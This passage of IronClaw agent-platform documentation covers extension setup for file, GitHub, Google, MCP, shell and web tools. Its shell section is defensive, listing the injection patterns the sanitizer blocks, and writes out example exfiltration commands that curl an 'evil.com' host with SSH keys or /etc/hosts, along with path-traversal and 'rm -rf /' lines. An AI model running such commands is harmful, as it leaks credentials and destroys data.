for WASM. * Notion hosted MCP credential/effect semantics: `crates/extensions/packages/notion-mcp/manifest.toml` * Hosted MCP egress planner: `crates/extensions/ironclaw_extension_host/src/mcp.rs` * Notion OAuth provider wiring: `crates/app/ironclaw_composition/src/factory.rs` * Hot capability catalog: `crates/kernel/ironclaw_host_runtime/src/capability_catalog.rs` * Host HTTP egress service: `crates/kernel/ironclaw_host_runtime/src/egress/` * Manifest v3 contract (v2 remains the legacy/resolved model): `crates/extensions/ironclaw_extension_registry/src/v3.rs` ## Quick implementation checklist 1. Pick the implementation: WASM (`[runtime] kind = "wasm"`), hosted MCP (`[mcp]`), or a channel surface (`[channel]`). 2. Create the package directory `crates/extensions/packages//` with `manifest.toml`, `schemas/`, `prompts/`, and any `wasm/` module. 3. Write a `reborn.extension_manifest.v3` manifest with `[[tools]]` entries (each with an `origin_gate_matrix`), `[[tools.credentials]]`, and an `[auth.]` recipe per credential vendor, and make it flow through extension registry discovery/publication. 4. Add schemas and prompt docs for every model-visible capability. 5. Implement runtime code using host services only. 6. Declare credentials with narrow HTTPS audiences and provider scopes. 7. Add packaging/onboarding only if host-bundled. 8. Add manifest, packaging, runtime, auth/approval, and integration tests. 9. Run targeted tests. 10. Check docs/specs and `FEATURE_PARITY.md` for behavior-status updates. 11. When your tool is packaged and tested, submit it to IronHub so other agents can discover and install it. See [Contributing](/hub/contributing). # File Handling Source: https://docs.ironclaw.com/extensions/file-tools Let your agent read and write files in the local filesystem The file tools give the agent access to the local filesystem. All paths are resolved relative to the workspace root unless absolute paths are provided. *** ## Setup File tools require `ALLOW_LOCAL_TOOLS=true`. They are disabled by default to prevent accidental filesystem access in hosted or shared environments. ```bash theme={null} export ALLOW_LOCAL_TOOLS=true ``` *** ## Available Actions * `read_file`: Read the contents of a file. * `write_file`: Write content to a file, creating parent directories as needed. * `list_dir`: List the contents of a directory. * `apply_patch`: Apply a unified diff patch to a file. This is the preferred way for the agent to make targeted edits to existing files rather than rewriting them in full. *** ## Example Usage > "Read my project notes at `projects/ironclaw/notes.md`" > "Write a README for my project to `projects/ironclaw/README.md`" > "What files are in my `projects/` directory?" > "Update the status section in `projects/notes.md` to say Completed" *** ## Security Considerations Relative paths like `notes/todo.md` resolve to `/notes/todo.md`. Absolute paths are used as-is. The sanitizer detects path traversal patterns (`../`) in file paths supplied by external content. Paths that resolve outside the workspace root are blocked by policy. `read_file` passes file contents through the Safety Layer. If a file contains patterns that look like API keys, tokens, or private keys, the leak detector will redact them before the LLM sees them. File paths are not passed through a shell. Characters like `;`, `&`, and `$()` in paths are treated as literals and cannot be used for command injection. # GitHub Source: https://docs.ironclaw.com/extensions/github Let your agent access GitHub The GitHub extension allows your agent to interact with GitHub repositories, issues, pull requests, and more, making it ideal for automating code-related tasks, managing projects, or gathering information from GitHub. *** ## Setup To install the GitHub extension, run: ```bash theme={null} ironclaw extension install github ``` Create a GitHub OAuth app at [github.com/settings/apps](https://github.com/settings/apps) and set its callback URL to the IronClaw OAuth callback URL your gateway uses. Then supply the app credentials through the GitHub extension's setup flow under **Extensions** in the [web interface](/using/webui). They are stored in the encrypted secret store. Now authenticate: ```bash theme={null} ironclaw extension activate github ``` Complete the GitHub OAuth flow from **Extensions** in the [web interface](/using/webui). The resulting token is stored encrypted. If you do not want to run a GitHub OAuth app, you can still use a Personal Access Token. Supply it in the GitHub extension's setup flow under **Extensions** in the [web interface](/using/webui) instead of the OAuth sign-in. It is stored in the encrypted secret store. Be sure to create a fine-grained personal access token with only the necessary permissions for your use case. When in doubt, choose the least permissive options, you can always create new tokens with different permissions later on *** ## Available Actions: Here are some of the actions your agent can perform with the GitHub extension: * `get_repo`: Retrieve repository information * `list_issues`: List all issues in a repository * `create_issue`: Create a new issue * `get_issue`: Get details of a specific issue * `update_issue`: Update issue fields, labels, and assignees * `list_issue_comments`: List comments on an issue * `create_issue_comment`: Add a comment to an issue * `add_issue_labels` / `remove_issue_label`: Add or remove issue labels * `add_issue_assignees` / `remove_issue_assignees`: Add or remove issue assignees * `list_pull_requests`: List pull requests * `create_pull_request`: Create a new pull request * `get_pull_request`: Get details of a specific pull request * `get_pull_request_files`: Get the list of files in a pull request * `create_pr_review`: Submit a pull request review * `list_pull_request_comments`: List review comments on a pull request * `list_pull_request_review_threads`: List inline review threads on a pull request * `reply_pull_request_comment`: Reply to a pull request review comment * `get_pull_request_reviews`: Get reviews for a pull request * `update_pull_request`: Update pull request metadata * `resolve_review_thread` / `unresolve_review_thread`: Change inline review thread state * `get_combined_status`: Get the combined status for a ref * `merge_pull_request`: Merge a pull request * `get_authenticated_user`: Get the authenticated GitHub user * `list_repos`: List authenticated repositories * `get_file_content`: Retrieve the content of a file in the repo * `trigger_workflow`: Manually trigger a GitHub Actions workflow * `get_workflow_runs`: List recent workflow runs * `get_workflow_run_jobs`: List jobs for a workflow run * `get_workflow_run_artifacts`: List artifacts for a workflow run * `rerun_failed_workflow_run_jobs` / `rerun_workflow_job`: Rerun GitHub Actions jobs * `handle_webhook`: Handle a GitHub webhook payload Several list actions accept richer filters, including pull request branch/sort filters, issue search filters, review-thread pagination, and workflow run filters. *** ## Working on Public Repositories Lets configure our agent to have its own github account, which it can use to create issues and comment on PRs in **public repositories**. Go to [https://github.com](https://github.com) and create a new account for your agent. If you are already logged in with your personal account you will need to briefly log out to create the new account, but you can log back in right after On the agent's GitHub account, go to [Settings -> Developer settings -> Personal access tokens -> Tokens (classic)](https://github.com/settings/tokens) and generate a new token (classic) with the following permissions: `repo` -> `public_repo` Now that you have either OAuth app credentials or a PAT, authenticate the GitHub extension: ```bash theme={null} ironclaw extension activate github ``` If you configured OAuth app credentials in the extension's setup flow, IronClaw uses browser OAuth. Otherwise it falls back to a Personal Access Token. Ask your agent to create a test issue in one of your public repositories, and check if the issue was created successfully. Ask your agent to read the [GitHub Markdown Guidelines](https://github.com/adam-p/markdown-here/wiki/markdown-cheatsheet) and remember them when creating issues and comments, it can make the formatting much nicer! # Calendar Source: https://docs.ironclaw.com/extensions/google/calendar Let your agent manage your Google Calendar The Google Calendar extension allows your agent to interact with your Google Calendar — creating events, checking your schedule, updating appointments, and more. It's ideal for automating scheduling tasks, setting reminders, or managing meetings directly from your agent. *** ## Setup If you haven't set up Google OAuth yet, complete the [Google OAuth Setup](/extensions/google/oauth-setup) first. In your Google Cloud project, navigate to **APIs & Services → Library**, search for [**Google Calendar API**](https://console.cloud.google.com/marketplace/product/google/calendar-json.googleapis.com?q=search\&referrer=search), and click **Enable**. ```bash theme={null} ironclaw extension install google-calendar ``` ```bash theme={null} ironclaw extension activate google-calendar ``` Activating an extension that needs credentials starts its setup flow. Complete it from **Extensions** in the [web interface](/using/webui) — for Google services that means the OAuth consent screen. Follow the [auth setup](/extensions/google/oauth-setup) first so your agent can capture the callback. Tokens are stored encrypted and refreshed automatically. If you already authenticated one Google service, you still need to authenticate each additional Google extension separately. *** ## Available Actions * `list_calendars`: List all calendars in your Google account * `list_events`: List upcoming events in a calendar * `get_event`: Get details of a specific event * `create_event`: Create a new calendar event * `update_event`: Update an existing event (title, time, description, attendees) * `delete_event`: Delete a calendar event * `find_free_slots`: Find available time slots across one or more calendars * `add_attendees`: Add attendees to an existing event * `set_reminder`: Set a reminder for an event *** ## Example Usage Once configured, you can ask your agent things like: * *"Schedule a team sync for next Tuesday at 3pm for 1 hour"* * *"What's on my calendar this week?"* * *"Move my Friday meeting to Monday morning"* * *"Find a free 30-minute slot for me and [john@example.com](mailto:john@example.com) this week"* * *"Cancel all my meetings on Thursday afternoon"* *** ## Working with Multiple Calendars If your Google account has multiple calendars (personal, work, shared), you can tell your agent which one to use: Say something like: *"Add this to my Work calendar, not my personal one."* The agent will use `list_calendars` to find the right calendar by name before creating the event. # Docs Source: https://docs.ironclaw.com/extensions/google/docs Let your agent create and edit Google Documents The Google Docs extension allows your agent to interact with Google Docs — creating documents, inspecting paragraphs and tables, applying anchored edits, creating populated tables, verifying results, and using low-level formatting or batch updates when needed. Semantic operations validate inputs and read provider state back, reducing multi-call index discovery loops. *** ## Setup If you haven't set up Google OAuth yet, complete the [Google OAuth Setup](/extensions/google/oauth-setup) first. In your Google Cloud project, navigate to **APIs & Services → Library**, search for **Google Docs API**, and click **Enable**. ```bash theme={null} ironclaw extension install google-docs ``` ```bash theme={null} ironclaw extension activate google-docs ``` Activating an extension that needs credentials starts its setup flow. Complete it from **Extensions** in the [web interface](/using/webui) — for Google services that means the OAuth consent screen. Follow the [auth setup](/extensions/google/oauth-setup) first so your agent can capture the callback. Tokens are stored encrypted and refreshed automatically. If you already authenticated one Google service, you still need to authenticate each additional Google extension separately. *** ## Available Actions * `create_document`: Create a new Google Doc with an optional title * `get_document`: Retrieve document metadata (title, revision, named ranges) * `read_content`: Extract the plain-text or structured content of a document * `insert_text`: Insert text at a specific index in the document body * `delete_content`: Delete a range of content by start and end index * `replace_text`: Find and replace text throughout the document * `format_text`: Apply character formatting (bold, italic, font size, color) to a text range * `format_paragraph`: Apply paragraph styling (heading level, alignment, spacing, indentation) to a range * `insert_table`: Insert a table with a specified number of rows and columns * `create_list`: Convert a range of paragraphs into a bulleted or numbered list * `batch_update`: Send multiple document update requests in a single API call * `inspect_document`: Inspect paragraphs and tables with stable document indexes * `apply_text_edits`: Apply validated, tab-scoped text replacements and verify the result * `create_table_with_data`: Insert, populate, style, and verify a table * `verify_document`: Check expected text and specific table contents against provider state *** ## Example Usage Once configured, you can ask your agent things like: * *"Create a new document titled 'Q2 Marketing Plan'"* * *"Read the content of document ID 1BxiMVs0XRA5nFMdKvBdBZjgmUUqptlbs74OgVE2upms"* * *"Insert a summary paragraph at the top of my report"* * *"Replace all occurrences of 'TBD' with 'Pending Review' in this doc"* * *"Format the title as Heading 1 and make it bold"* * *"Add a 3-column table for the budget breakdown"* *** ## Working with Document IDs Google Doc IDs appear in the document URL: ``` https://docs.google.com/document/d//edit ``` You can tell your agent to "use the document at this URL" and paste the full URL — the agent will extract the document ID automatically. # Drive Source: https://docs.ironclaw.com/extensions/google/drive Let your agent manage files and folders in Google Drive The Google Drive extension allows your agent to interact with your Google Drive — listing, searching, uploading, downloading, sharing, and organizing files and folders. It supports both personal Drive and shared drives, making it ideal for file management workflows, automated uploads, and permission management. *** ## Setup If you haven't set up Google OAuth yet, complete the [Google OAuth Setup](/extensions/google/oauth-setup) first. In your Google Cloud project, navigate to **APIs & Services → Library**, search for **Google Drive API**, and click **Enable**. ```bash theme={null} ironclaw extension install google-drive ``` ```bash theme={null} ironclaw extension activate google-drive ``` Activating an extension that needs credentials starts its setup flow. Complete it from **Extensions** in the [web interface](/using/webui) — for Google services that means the OAuth consent screen. Follow the [auth setup](/extensions/google/oauth-setup) first so your agent can capture the callback. Tokens are stored encrypted and refreshed automatically. If you already authenticated one Google service, you still need to authenticate each additional Google extension separately. *** ## Available Actions * `list_files`: List files and folders, with optional search query, MIME type filter, and folder scope * `get_file`: Retrieve metadata for a specific file (name, type, size, owners, permissions) * `download_file`: Download the content of a file as text or base64 * `upload_file`: Upload a new file with specified content and MIME type * `update_file`: Update the content or name of an existing file * `create_folder`: Create a new folder, optionally inside a parent folder * `delete_file`: Permanently delete a file or folder * `trash_file`: Move a file to the trash (recoverable) * `share_file`: Share a file with a user or group with a specified role (reader/writer/owner) * `list_permissions`: List all permissions on a file * `remove_permission`: Remove a specific permission from a file * `list_shared_drives`: List all shared drives accessible to the account *** ## Example Usage Once configured, you can ask your agent things like: * *"List all PDF files in my Drive"* * *"Upload this report as a file named 'Q2-Report.txt'"* * *"Download the file named 'budget.csv' from my Drive"* * *"Create a folder called 'Project Assets' inside my 'Work' folder"* * *"Share the contract with [bob@example.com](mailto:bob@example.com) as a viewer"* * *"Who has access to my 'Roadmap' document?"* * *"Move the old proposal to trash"* *** ## Working with Shared Drives If your Google account has access to shared (team) drives, the agent can target them directly: Say something like: *"List all files in our Engineering shared drive."* The agent will use `list_shared_drives` to find the right drive by name before searching for files within it. # Gmail Source: https://docs.ironclaw.com/extensions/google/gmail Let your agent read, send, and manage your Gmail messages The Gmail extension allows your agent to interact with your Gmail inbox — listing and searching messages, reading full email content, sending new emails, creating drafts, replying to threads, and trashing messages. It's ideal for automating email workflows, monitoring important threads, or sending notifications directly from your agent. *** ## Setup If you haven't set up Google OAuth yet, complete the [Google OAuth Setup](/extensions/google/oauth-setup) first. In your Google Cloud project, navigate to **APIs & Services → Library**, search for **Gmail API**, and click **Enable**. ```bash theme={null} ironclaw extension install gmail ``` ```bash theme={null} ironclaw extension activate gmail ``` Activating an extension that needs credentials starts its setup flow. Complete it from **Extensions** in the [web interface](/using/webui) — for Google services that means the OAuth consent screen. Follow the [auth setup](/extensions/google/oauth-setup) first so your agent can capture the callback. Tokens are stored encrypted and refreshed automatically. If you already authenticated one Google service, you still need to authenticate each additional Google extension separately. *** ## Available Actions * `list_messages`: List messages in your inbox with an optional Gmail search query, label filter, and result limit * `get_message`: Read the full content of a message by ID, including headers, body, and labels * `send_message`: Send a new email with recipient(s), subject, body, and optional CC addresses * `create_draft`: Save a message as a draft without sending it * `reply_to_message`: Reply to an existing message thread, keeping the conversation history intact * `trash_message`: Move a message to the trash *** ## Example Usage Once configured, you can ask your agent things like: * *"What emails did I receive from [alice@example.com](mailto:alice@example.com) this week?"* * *"Read my latest unread message"* * *"Send an email to [bob@example.com](mailto:bob@example.com) with subject 'Meeting Notes' and a summary of today's discussion"* * *"Draft a follow-up to the project proposal thread"* * *"Reply to the last message in the invoice thread saying the payment has been processed"* * *"Trash all emails from [noreply@newsletter.com](mailto:noreply@newsletter.com)"* *** ## Gmail Search Syntax The `list_messages` action accepts standard Gmail search queries in the `query` field: | Query | Matches | | - | - | | `from:alice@example.com` | Messages from Alice | | `subject:invoice` | Messages with "invoice" in the subject | | `is:unread` | Unread messages | | `label:work` | Messages with the "work" label | | `after:2025/01/01` | Messages received after January 1, 2025 | | `has:attachment` | Messages with attachments | You can combine queries: `from:alice@example.com is:unread` lists all unread messages from Alice. # OAuth Setup Source: https://docs.ironclaw.com/extensions/google/oauth-setup One-time setup for any Google extension in IronClaw All Google extensions share the same OAuth 2.0 setup. Complete these steps once — you can reuse the same Google Cloud project and credentials for every Google extension you install. *** Go to [Google Cloud Console](https://console.cloud.google.com) and create a new project (or select an existing one). 1. Click **Select a project** → **New Project** 2. Give it a name (e.g. `ironclaw`) and click **Create** Go to [**Google Auth Platform → Clients**](https://console.cloud.google.com/auth/clients) and create a new client: 1. Click **Create client** 2. Set **Application type** to **Web application** 3. Give it a name (e.g. `ironclaw`) 4. Under **Authorized redirect URIs**, click **+ Add URI** and enter your instance's callback, replacing `your-host`: ``` https://your-host/api/reborn/product-auth/oauth/google/callback ``` 5. Click **Create** and copy the **Client ID** and **Client Secret** shown Google matches redirect URIs **exactly** — scheme, host, port, and path. A mismatch fails with `redirect_uri_mismatch` before the consent screen appears. IronClaw's product-auth flow receives the callback on a gateway HTTP route, so this must be your instance's URL and the instance must be reachable there when you complete the flow. Google itself also supports loopback redirect URIs, but IronClaw has no listener for one — use the hosted callback above. Since the app is in **Testing** mode, only explicitly added users can authorize it. Go to [**Google Auth Platform → Audience**](https://console.cloud.google.com/auth/audience), scroll down to **Test users**, and click **+ Add users**. Add the Google account(s) that will use the extension. The app supports up to 100 test users before requiring verification. Only test users can complete the OAuth flow while the app is in Testing mode. If you get an "access blocked" error, make sure your account is listed here. Store the client id, redirect URI, and client secret with `ironclaw config`. Run these on the machine IronClaw runs on — over SSH if it's a remote or hosted instance. ```bash theme={null} ironclaw config set google.client_id ironclaw config set google.redirect_uri https:///api/reborn/product-auth/oauth/google/callback ironclaw config set google.client_secret ``` `google.client_secret` takes no value on the command line. It always prompts, with input hidden, so the secret never lands in your shell history or the process list. The client id and redirect URI are not secrets and are passed normally. Confirm what was stored: ```bash theme={null} ironclaw config get google.client_id ironclaw config get google.redirect_uri ``` The same values can be supplied as environment variables when a service unit or container injects them from a secret manager: ``` IRONCLAW_REBORN_GOOGLE_CLIENT_ID IRONCLAW_REBORN_GOOGLE_CLIENT_SECRET IRONCLAW_REBORN_GOOGLE_OAUTH_REDIRECT_URI ``` Do not `export` the client secret by hand in an interactive shell. It persists in shell history and is visible to every child process. Use `ironclaw config set google.client_secret`, which prompts with input hidden, or inject the variable from your platform's secret manager. `ironclaw config set` never restarts anything — it writes the value and prints: ``` to apply: ironclaw service restart ``` A running instance keeps serving the old configuration until you restart it. Google OAuth will keep failing until you do. `ironclaw service` commands do **not** work on a NEAR AI hosted instance — there is no user service manager for them to talk to, so `service restart` fails rather than restarting anything. SSH in only to run the `ironclaw config` commands, then restart the agent from the [Agent Dashboard](https://agent.near.ai/). That is the only way to restart a hosted instance. ```bash theme={null} ironclaw service restart ``` If you're running `ironclaw serve` in the foreground instead, stop it and start it again. You're ready to install any Google extension. Return to the extension page to complete the remaining steps. # Sheets Source: https://docs.ironclaw.com/extensions/google/sheets Let your agent read and write Google Spreadsheets The Google Sheets extension allows your agent to interact with Google Sheets — creating spreadsheets, reading and writing cell ranges, appending rows, formatting cells, and managing sheets. It uses standard A1 notation for ranges and is ideal for data entry automation, report generation, and spreadsheet-driven workflows. *** ## Setup If you haven't set up Google OAuth yet, complete the [Google OAuth Setup](/extensions/google/oauth-setup) first. In your Google Cloud project, navigate to **APIs & Services → Library**, search for **Google Sheets API**, and click **Enable**. ```bash theme={null} ironclaw extension install google-sheets ``` ```bash theme={null} ironclaw extension activate google-sheets ``` Activating an extension that needs credentials starts its setup flow. Complete it from **Extensions** in the [web interface](/using/webui) — for Google services that means the OAuth consent screen. Follow the [auth setup](/extensions/google/oauth-setup) first so your agent can capture the callback. Tokens are stored encrypted and refreshed automatically. If you already authenticated one Google service, you still need to authenticate each additional Google extension separately. *** ## Available Actions * `create_spreadsheet`: Create a new spreadsheet with an optional title and initial sheet names * `get_spreadsheet`: Retrieve spreadsheet metadata (title, sheet names, named ranges) * `read_values`: Read cell values from a range using A1 notation (e.g. `Sheet1!A1:D10`) * `batch_read_values`: Read multiple ranges in a single API call * `write_values`: Write values to a range, replacing existing content * `append_values`: Append rows after the last row that contains data in a range * `clear_values`: Clear all values from a range (preserving formatting) * `add_sheet`: Add a new sheet (tab) to an existing spreadsheet * `delete_sheet`: Delete a sheet by its ID * `rename_sheet`: Rename an existing sheet * `format_cells`: Apply number formats, text styles, or background colors to a cell range *** ## Example Usage Once configured, you can ask your agent things like: * *"Create a new spreadsheet called 'Monthly Expenses'"* * *"Read the values from cells A1 to E20 in my budget sheet"* * *"Add a new row with today's sales data to the 'Sales' tab"* * *"Clear all data from the 'Draft' sheet"* * *"Rename the first sheet to 'Summary'"* * *"Format column B as currency in my expenses spreadsheet"* *** ## Using A1 Notation All range operations use standard A1 notation. You can include the sheet name to target a specific tab: | Notation | Meaning | | - | - | | `A1` | Single cell | | `A1:C10` | Range across rows and columns | | `Sheet1!A1:B5` | Range on a specific sheet | | `Sheet1!A:A` | Entire column A on Sheet1 | If your spreadsheet has multiple sheets, include the sheet name in the range (e.g. `Budget!B2:D50`) so the agent targets the right tab. # Slides Source: https://docs.ironclaw.com/extensions/google/slides Let your agent create and edit Google Presentations The Google Slides extension allows your agent to interact with Google Slides — creating presentations, managing slides, inserting and formatting text, adding shapes and images, and running batch updates. It's ideal for automating slide deck generation, updating presentation content, or building reports directly from your agent. *** ## Setup If you haven't set up Google OAuth yet, complete the [Google OAuth Setup](/extensions/google/oauth-setup) first. In your Google Cloud project, navigate to **APIs & Services → Library**, search for **Google Slides API**, and click **Enable**. ```bash theme={null} ironclaw extension install google-slides ``` ```bash theme={null} ironclaw extension activate google-slides ``` Activating an extension that needs credentials starts its setup flow. Complete it from **Extensions** in the [web interface](/using/webui) — for Google services that means the OAuth consent screen. Follow the [auth setup](/extensions/google/oauth-setup) first so your agent can capture the callback. Tokens are stored encrypted and refreshed automatically. If you already authenticated one Google service, you still need to authenticate each additional Google extension separately. *** ## Available Actions * `create_presentation`: Create a new presentation with an optional title * `get_presentation`: Retrieve presentation metadata (title, slide count, element IDs) * `get_thumbnail`: Get a thumbnail image URL for a specific slide * `create_slide`: Add a new slide at a specified position with an optional layout * `delete_object`: Delete a slide or page element by its object ID * `insert_text`: Insert text into a text box or shape at a specific index * `delete_text`: Delete a range of text from a text element * `replace_all_text`: Find and replace text across all slides in the presentation * `create_shape`: Insert a shape (rectangle, ellipse, arrow, etc.) onto a slide * `insert_image`: Insert an image from a URL onto a slide at specified dimensions and position * `format_text`: Apply character formatting (bold, italic, font size, color) to a text range * `format_paragraph`: Apply paragraph alignment and spacing to a text range * `replace_shapes_with_image`: Replace all shapes matching a tag with an image URL * `batch_update`: Send multiple slide update requests in a single API call *** ## Example Usage Once configured, you can ask your agent things like: * *"Create a new presentation called 'Q3 Roadmap'"* * *"Add a title slide with the heading 'Annual Review 2025'"* * *"Replace all occurrences of '\[COMPANY]' with 'Acme Corp' across the deck"* * *"Insert our logo image on slide 1 at the top-right corner"* * *"Get a thumbnail of slide 3 so I can preview it"* * *"Delete the last two slides from the deck"* *** ## Working with Object IDs Every element in a Google Slides presentation (slides, text boxes, shapes, images) has a unique object ID. Use `get_presentation` to retrieve the IDs of existing slides and elements before targeting them with update operations. For bulk text replacements across an entire deck, `replace_all_text` is more efficient than targeting individual elements — the agent applies the change to every slide in one API call. # MCP Servers Source: https://docs.ironclaw.com/extensions/mcp Connect Model Context Protocol servers to extend IronClaw The [Model Context Protocol](https://modelcontextprotocol.io/) is an open standard for tool servers, with a growing ecosystem covering databases, APIs, and cloud services. IronClaw adapts MCP tools into agent capabilities. MCP is one of the runtimes an extension can declare, alongside WASM and first-party. An MCP server reaches your agent by being packaged as an extension whose manifest declares its tools and endpoint — there is no separate MCP server registry. *** ## Adding a Server Install and activate the extension that wraps the MCP server: ```bash theme={null} ironclaw extension search notion ironclaw extension install notion ironclaw extension activate notion ``` Then complete any credential setup from **Extensions** in the [web interface](/using/webui). Once activated, the server's tools appear alongside every other tool the agent can call. Remove it the same way you remove any extension: ```bash theme={null} ironclaw extension remove notion ``` *** ## Transport IronClaw connects to MCP servers over **HTTP(S)** using JSON-RPC 2.0. The `stdio` transport is not supported. IronClaw rejects it rather than spawning a local server process, because process-level egress controls have not landed yet. A server that only speaks stdio cannot be connected today. *** ## Security MCP servers are untrusted. A server does not gain ambient filesystem, secret, or network authority just because the agent can call its tools: * Calls go through the host-selected client, which is the only integration point * Outbound requests are planned and authorized by the host's egress controls, not by the server * Resource use is accounted through the host governor like any other capability * Credentials are injected at the egress boundary and redacted from results and errors See [Security](/security) and [Sandboxed Tools](/capabilities/sandboxed-tools). *** ## WASM or MCP? | | WASM extension | MCP extension | | - | - | - | | Runs | Sandboxed inside IronClaw | On a remote server over HTTP | | Best for | Deterministic logic, offline work, tight sandboxing | Existing MCP servers and hosted SaaS tools | | Network | Allowlisted egress from the sandbox | The server's own endpoint | | Latency | In-process | A network round trip | Prefer a WASM extension when you're writing the tool yourself and want it sandboxed. Use MCP when the tool already exists as an MCP server. See [Building an Extension](/extensions/building-a-tool). # Overview Source: https://docs.ironclaw.com/extensions/overview Extend your agent with built-in and external tools Extend your agent with tools for common tasks like file manipulation, web search, and GitHub integration. Read, write, list, and patch files in your workspace. Run shell commands with environment scrubbing and injection checks. Search the web for up-to-date information using Brave Search. Work with repositories, issues, pull requests, and workflows. Connect Model Context Protocol servers and expose their tools. ## Build your own Create your own extension and register it with your agent. # Shell Commands Source: https://docs.ironclaw.com/extensions/shell Execute shell commands with environment scrubbing and injection detection The `shell` tool lets the agent execute shell commands on the host system. Because shell access is powerful, IronClaw applies two layers of protection before any command runs: environment scrubbing and command injection detection. *** ## Configuration ```bash theme={null} export ALLOW_LOCAL_TOOLS=true ``` Without this setting, the `shell` tool is not registered and is invisible to the LLM. *** ## Environment Scrubbing Before executing any command, the shell tool builds a sanitized environment. Sensitive variables are removed entirely — they are never present in the process environment when the command runs. **Variables that are scrubbed:** | Category | Examples | | - | - | | API keys and tokens | `OPENAI_API_KEY`, `ANTHROPIC_API_KEY`, `NEARAI_API_KEY`, `NEARAI_SESSION_TOKEN` | | Database credentials | `DATABASE_URL`, `LIBSQL_AUTH_TOKEN` | | Auth tokens | `IRONCLAW_REBORN_WEBUI_TOKEN` | | Any variable matching `*_KEY`, `*_SECRET`, `*_TOKEN`, `*_PASSWORD` | Pattern-based scrubbing | **Variables that are preserved:** | Variable | Reason | | - | - | | `PATH` | Required for command resolution | | `HOME` | Required for tools that read config from home dir | | `USER`, `SHELL` | Safe context variables | | `LANG`, `LC_*` | Locale settings | **Why this matters:** Without scrubbing, a command like `env` or `printenv` — or a compromised binary on PATH — could dump all environment variables, including API keys, to stdout. The shell tool prevents this by ensuring secrets are never in the environment to begin with. *** ## Command Injection Detection The sanitizer analyzes every command before execution and blocks patterns commonly used in injection attacks. ### Blocked Patterns | Pattern | Example | Why blocked | | - | - | - | | Command chaining with `;` | `ls; rm -rf /` | Executes second command unconditionally | | Logical chaining with `&&` | `echo ok && curl evil.com` | Executes second command on success | | Logical chaining with `\|\|` | `false \|\| curl evil.com` | Executes second command on failure | | Subshells with `$()` | `echo $(cat /etc/passwd)` | Embeds command output | | Backtick subshells | `` echo `id` `` | Embeds command output | | Path traversal | `cat ../../../etc/shadow` | Escapes intended directory | | Null bytes | `command\x00injection` | Terminates strings in C functions | ### Blocked Examples ```bash theme={null} # BLOCKED: Command chaining cat notes.md; curl http://evil.com/exfil?data=$(cat ~/.ssh/id_rsa) # BLOCKED: Subshell injection echo "result: $(whoami)" # BLOCKED: Path traversal cat ../../etc/passwd # BLOCKED: Chained with && git status && curl -X POST http://evil.com --data @/etc/hosts ``` ### Allowed Examples ```bash theme={null} # ALLOWED: Simple command ls -la /workspace/projects # ALLOWED: Pipe within a single command cat notes.md | grep "TODO" # ALLOWED: Redirect cargo build 2>&1 # ALLOWED: Multi-word with flags git log --oneline -20 # ALLOWED: Variable expansion of non-sensitive vars echo $HOME ``` Pipe (`|`) within a single command is allowed because it does not chain independent commands — it passes stdout of one program to stdin of another within the same execution context. *** ## Output Sanitization Shell output passes through the Safety Layer before reaching the LLM: 1. **Leak detector** — Scans for secret patterns in stdout/stderr. If output contains something that looks like an API key or token, it is redacted. 2. **Sanitizer** — Escapes control characters and other dangerous content. The output is wrapped before the LLM sees it: ```xml theme={null} [command stdout/stderr] ``` *** ## Security Considerations When a job involves running code or scripts that you didn't write, use the Docker sandbox instead. Jobs dispatched to the sandbox run in an isolated container with a non-root user, dropped capabilities, and network controlled by the proxy. The shell tool runs directly on the host with your user's permissions. The injection detector operates on the command string before execution. It is not a replacement for proper shell escaping — do not rely on it as the sole guard when constructing commands from user-supplied data. The sanitizer provides defense-in-depth, not a guarantee. Commands that exceed `timeout_secs` are killed. The default is 30 seconds. For long-running tasks, either increase the timeout or consider using a background job instead. # Web Access Source: https://docs.ironclaw.com/extensions/web-search Let your agent search the web and read pages The Web Access extension lets your agent search the web and retrieve full page content, so it can answer questions about current events, look up specific data, and cite its sources. It needs no credentials. There is no API key to obtain and no account to create — install it, activate it, and the tools are available. *** ## Setup ```bash theme={null} ironclaw extension install web-access ``` The extension id is `web-access`, not `web-search`. Run `ironclaw extension search web` to confirm the id your install knows about. ```bash theme={null} ironclaw extension activate web-access ``` Activation publishes the tools to the agent. Because no credentials are involved, there is nothing to supply afterwards. You can do both steps from **Extensions** in the [web interface](/using/webui) instead. *** ## What the Agent Can Do | Capability | Description | | - | - | | `web-access.search` | Search the web and return results with citations | | `web-access.get_content` | Retrieve a page's full content, or re-read a page cached from an earlier search | Both are allowed by default once the extension is active. For GitHub repositories, issues, pull requests, releases, or workflow data, the [GitHub extension](/extensions/github) returns better-structured results than a web search. Install it if your agent works with GitHub regularly. # Contributing Source: https://docs.ironclaw.com/hub/contributing Submit your own skills and tools to the IronHub catalog Anyone can submit tools and skills to IronHub. Visit the developer portal for the full publishing guide, submission requirements, and review process: hub.ironclaw\.com/developer *** ## Provenance New submissions enter as **New** (unverified). After review they may move to **Verified** or **Trusted**. Only packages maintained by the IronClaw team are marked **Official**. See [Provenance tiers](/hub/overview#provenance-tiers) for how each tier is defined. *** ## Before you submit You can publish two kinds of packages: **Tools** (WASM binary + capability manifest) and **Skills** (SKILL.md). * Follow the [Build a Tool](/extensions/building-a-tool) guide if you're creating a WASM extension. * Follow the [Skills](/capabilities/skills) reference for SKILL.md format and activation patterns. * Test your package locally before submitting. * Keep your description clear — it's how users and agents discover your work in the catalog. # Installing skills & tools Source: https://docs.ironclaw.com/hub/installing Install skills and tools from the IronHub catalog Packages from IronHub can be installed through the CLI or by asking your agent in chat. *** ## CLI ### Search Filter the catalog by keyword: ```bash theme={null} ironclaw ironhub search github ``` ### List Browse all entries, optionally filtered by kind: ```bash theme={null} # All entries ironclaw ironhub list # Tools only ironclaw ironhub list --kind tool # Skills only ironclaw ironhub list --kind skill ``` ### Inspect an entry ```bash theme={null} ironclaw ironhub info --kind tool ironclaw ironhub info --kind skill ``` Prints the entry's provenance, version, and SHA-256 artifact digest. Use the digest to pin an exact version during install. ### Install ```bash theme={null} ironclaw ironhub install --kind tool ironclaw ironhub install --kind skill ``` Community entries (provenance `New`) require explicit acknowledgement from the operator. The agent cannot install them autonomously. Pass `--acknowledge-unverified` to confirm. #### Pin to a version or digest By default IronClaw installs the version in the current manifest. To require a specific version or digest: ```bash theme={null} ironclaw ironhub install --kind tool --expected-version "1.2.3" ironclaw ironhub install --kind skill --expected-artifact-digest "sha256:abc123..." ``` #### Force reinstall ```bash theme={null} ironclaw ironhub install --kind tool --force ``` *** ## Via chat Ask your agent to search IronHub, inspect an entry, or install a package. It will fetch the catalog, present matching results, and ask your approval before installing anything. Approving in chat cannot install a community entry (provenance `New`). The model-facing install path never sets the 